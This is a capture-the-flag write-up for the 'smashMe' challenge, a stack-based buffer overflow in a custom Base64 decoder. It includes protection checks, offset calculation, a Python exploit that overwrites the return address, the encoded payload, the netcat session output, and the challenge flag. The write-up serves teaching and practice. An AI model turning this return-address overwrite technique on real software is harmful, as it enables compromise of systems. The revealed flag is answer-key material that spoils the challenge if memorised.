146 lines
6.0 KiB
Markdown
146 lines
6.0 KiB
Markdown
# Smash Me
|
|
`smashMe` is a classic binary exploitation challenge that introduces players to stack-based buffer overflows. The challenge provides a statically linked 64-bit ELF binary and its source code. Players must identify a vulnerability in a custom Base64 decoding implementation and redirect the program's execution to a "win" function that prints the flag.
|
|
|
|
## Information Gathering
|
|
|
|
### Binary Protections
|
|
We can analyze the binary's security features using standard command-line tools like `file` and `readelf`.
|
|
|
|
#### 1. Static Linking and No-PIE
|
|
Using the `file` command:
|
|
```bash
|
|
$ file smashMe
|
|
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
|
|
```
|
|
- **Statically linked**: All necessary libraries (like `libc`) are bundled within the binary.
|
|
- **LSB executable**: Since it says "executable" and not "shared object", **PIE (Position Independent Executable)** is disabled. The binary will load at a fixed base address (`0x400000`).
|
|
|
|
#### 2. NX (No-Execute)
|
|
Using `readelf` to check the stack permissions:
|
|
```bash
|
|
$ readelf -l smashMe | grep -A 1 STACK
|
|
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
|
0x0000000000000000 0x0000000000000000 RWE 0x10
|
|
```
|
|
- The `RWE` (Read, Write, Execute) flag indicates that the stack is executable. **NX** is disabled.
|
|
|
|
#### 3. Stack Canaries
|
|
While a search for symbols might show `__stack_chk_fail` (due to the statically linked `libc`), we can verify if the target function uses it by disassembling `core_loop`:
|
|
```bash
|
|
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
|
|
0000000000401d83 <core_loop>:
|
|
...
|
|
401d8f: 48 83 ec 50 sub rsp,0x50
|
|
...
|
|
```
|
|
The absence of any `fs:[0x28]` references or calls to `__stack_chk_fail` in the function prologue/epilogue confirms that **Stack Canaries** are disabled for this function.
|
|
|
|
These settings make the binary highly susceptible to traditional stack smashing techniques.
|
|
|
|
### Source Code Analysis (`vuln.c`)
|
|
The program reads a Base64 string from the user, decodes it, and prints the result. The core logic resides in `core_loop()`:
|
|
|
|
```c
|
|
void core_loop() {
|
|
unsigned char decoded[64];
|
|
|
|
// Get base64 input
|
|
printf("Give me a base64 string: ");
|
|
scanf("%s", input);
|
|
|
|
// Decode
|
|
int result = base64_decode(input, decoded);
|
|
// ...
|
|
}
|
|
```
|
|
|
|
The `base64_decode` function decodes data from the global `input` buffer into the local `decoded` buffer. However, it lacks any bounds checking on the destination buffer:
|
|
|
|
```c
|
|
int base64_decode(const char *data, unsigned char *output_buffer) {
|
|
// ...
|
|
for (i = 0, j = 0; i < input_length;) {
|
|
// ... (decoding logic)
|
|
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
|
|
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
|
|
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
|
|
}
|
|
// ...
|
|
}
|
|
```
|
|
|
|
While `decoded` is only 64 bytes, `input` can hold up to 2048 bytes, allowing for a significant overflow of the stack frame.
|
|
|
|
## Vulnerability Analysis
|
|
The vulnerability is a **Stack-based Buffer Overflow**. By providing a long Base64-encoded string, we can overwrite local variables, the saved frame pointer (RBP), and the saved return address on the stack.
|
|
|
|
The program contains a "win" function called `print_flag()`:
|
|
|
|
```c
|
|
void print_flag() {
|
|
printf("[!!!] Access Granted. The Return Address was modified.\n [*] FLAG: %s\n", global_flag);
|
|
exit(0);
|
|
}
|
|
```
|
|
|
|
Our objective is to hijack the control flow by overwriting the return address of `core_loop()` with the address of `print_flag()`.
|
|
|
|
## Exploitation Strategy
|
|
|
|
### 1. Find the Target Address
|
|
Since PIE is disabled, the address of `print_flag` is constant. Using `nm` or `objdump`:
|
|
```bash
|
|
nm smashMe | grep print_flag
|
|
# Output: 0000000000401b58 T print_flag
|
|
```
|
|
To avoid potential stack alignment issues (such as the `movaps` instruction requiring a 16-byte aligned stack), we can jump to `0x401b60`, which is slightly into the function body after the prologue.
|
|
|
|
### 2. Determine the Offset
|
|
We must determine the exact distance from the start of the `decoded` buffer to the return address.
|
|
- The `core_loop` function aligns the stack to 16 bytes (`and rsp, 0xfffffffffffffff0`) and then subtracts `0x50` (80 bytes).
|
|
- The `decoded` buffer is located at the current `rsp`.
|
|
- Due to the stack alignment and subsequent push/sub operations, the distance to the saved return address is **88 bytes** (80 bytes for the buffer/alignment + 8 bytes for the saved RBP).
|
|
|
|
Total offset to Return Address: **88 bytes**.
|
|
|
|
### 3. Construct the Payload
|
|
The payload structure:
|
|
1. **80 bytes** of arbitrary padding (e.g., 'A's).
|
|
2. **8 bytes** to overwrite the saved RBP (e.g., 'B's).
|
|
3. **8 bytes** containing the address `0x401b60` (little-endian).
|
|
|
|
The final raw payload is then Base64-encoded to meet the program's input requirements.
|
|
|
|
## Solution
|
|
|
|
The following Python script generates the exploit:
|
|
|
|
```python
|
|
import struct
|
|
import base64
|
|
|
|
# Target address of print_flag (skipping prologue)
|
|
win_addr = struct.pack('<Q', 0x401b60)
|
|
|
|
# 80 bytes padding + 8 bytes saved RBP + 8 bytes Return Address
|
|
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
|
|
|
|
# Encode to Base64 as the program expects
|
|
print(base64.b64encode(raw_payload).decode())
|
|
```
|
|
|
|
Running the script gives us the payload:
|
|
`QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA`
|
|
|
|
Executing the exploit against the target:
|
|
```bash
|
|
$ nc <host> 1349
|
|
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
|
|
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
|
|
[!!!] Access Granted. The Return Address was modified.
|
|
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
|
|
```
|
|
|
|
## Conclusion
|
|
`smashMe` serves as a fundamental exercise in identifying and exploiting stack-based overflows. It highlights that even when data is transformed (e.g., via Base64), improper handling of buffer lengths can lead to full system compromise.
|